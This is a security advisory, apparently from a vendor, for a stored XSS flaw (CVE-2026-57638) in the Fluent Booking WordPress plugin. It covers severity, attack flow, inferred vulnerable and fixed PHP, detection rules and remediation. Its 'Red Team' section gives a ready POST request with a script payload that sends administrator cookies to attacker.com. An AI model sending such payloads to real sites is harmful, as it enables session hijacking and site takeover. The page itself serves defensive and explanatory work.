CVE-2026-57638
Executive Summary
CVE-2026-57638 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Fluent Booking WordPress plugin, versions 2.1.0 and below. This vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into the application, which is then executed in the browsers of other users (including administrators) when they view the compromised page. The attack does not require authentication, but does require user interaction (e.g., an admin viewing a booking entry). The CVSS score is 6.5 (Medium), with a vector emphasizing network accessibility, low attack complexity, and a requirement for user interaction. No public proof-of-concept or exploit code has been released, and the vendor has not yet issued a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin directly from the WordPress dashboard or via manual upload are affected. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems. The risk is heightened because WordPress plugins are often auto-updated or managed by site administrators who may not be aware of the vulnerability. The lack of a patch means that all sites running Fluent Booking <= 2.1.0 are currently exposed.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or race conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must click on a link or view a crafted page.
- Scope (S): Changed – The vulnerable component impacts resources beyond its security scope (e.g., admin session).
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens, cookies).
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for session hijacking, credential theft, or defacement makes this a significant concern for WordPress sites using the plugin.
Deep Dive & Mechanics
The vulnerability is a Stored XSS in the Fluent Booking plugin. The plugin likely fails to properly sanitize user-supplied input in one or more fields (e.g., booking name, email, or custom fields) before storing it in the database. When an administrator or other user views the booking list or details page, the unsanitized data is rendered in the browser, allowing the injected script to execute.
Attack Flow:
- An attacker submits a booking request via the plugin's frontend form.
- The attacker includes a malicious payload in a field, e.g.,
<script>alert('XSS')</script>. - The plugin stores the payload in the WordPress database without sanitization.
- An administrator navigates to the "Bookings" page in the WordPress admin panel.
- The plugin retrieves the stored data and outputs it directly into the HTML without escaping.
- The browser executes the attacker's script in the context of the admin's session.
Impact: The attacker can steal session cookies, perform actions on behalf of the admin (e.g., create new admin users, modify site content), or redirect users to malicious sites.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely uses echo or print without proper escaping:
Vulnerable Code (PHP):
echo "<td>" . $booking->name . "</td>";
Patched Code (Expected):
echo "<td>" . esc_html( $booking->name ) . "</td>";
The esc_html() function in WordPress escapes HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with Fluent Booking <= 2.1.0 installed and active.
- A publicly accessible booking form.
Exploitation Steps:
- Identify the booking form endpoint (e.g.,
/wp-admin/admin-ajax.php?action=fluent_booking_submit). - Craft a POST request with a malicious payload in a vulnerable field:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target-site.com Content-Type: application/x-www-form-urlencoded action=fluent_booking_submit&name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&email=test@test.com - Wait for an administrator to view the bookings page.
- The script executes, sending the admin's cookies to the attacker's server.
Note: No public exploit code is available, so this is a theoretical approach.
Blue Team (Defensive)
Detection:
- Monitor for unusual POST requests to
admin-ajax.phpwithaction=fluent_booking_submitcontaining script tags. - Review WordPress database entries in the
wp_fluent_bookingtable for HTML/script content. - Use a Web Application Firewall (WAF) to block requests containing
<script>tags in form fields.
Mitigation:
- Disable the Fluent Booking plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Restrict access to the WordPress admin panel to trusted IPs only.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
GET /steal?cookie=...). - POST requests to
/wp-admin/admin-ajax.phpwithaction=fluent_booking_submitand payloads containing<script>tags.
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
Host IOCs:
- Database entries in
wp_fluent_bookingcontaining HTML/JavaScript. - Unexpected admin user creation or changes to site settings.
- Database entries in
File IOCs:
- Modified plugin files (e.g.,
fluent-booking/directory) – unlikely but possible if the attacker gains admin access.
- Modified plugin files (e.g.,
Detection Engineering
YARA Rule
rule detect_fluent_booking_xss_payload {
meta:
description = "Detects XSS payloads targeting Fluent Booking plugin"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-57638"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: Fluent Booking XSS Payload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in POST requests to Fluent Booking endpoint
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=fluent_booking_submit'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in booking fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-57638 Fluent Booking XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=fluent_booking_submit"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Fluent Booking plugin until a patched version is released.
- Review WordPress database for any injected scripts and remove them.
- Change all admin passwords and invalidate existing sessions.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in booking form submissions.
Long-Term Fix:
- The vendor must release a patched version (>= 2.1.1) that properly escapes output using
esc_html()or similar WordPress functions. - Users should enable automatic plugin updates to receive patches promptly.
Workaround:
- If the plugin cannot be disabled, add the following to the site's
.htaccessfile to block direct access to the booking endpoint:
(Note: This will break all AJAX functionality, so use with caution.)<Files "admin-ajax.php"> Require all denied </Files>
Valters IT
Securing Digital Frontiers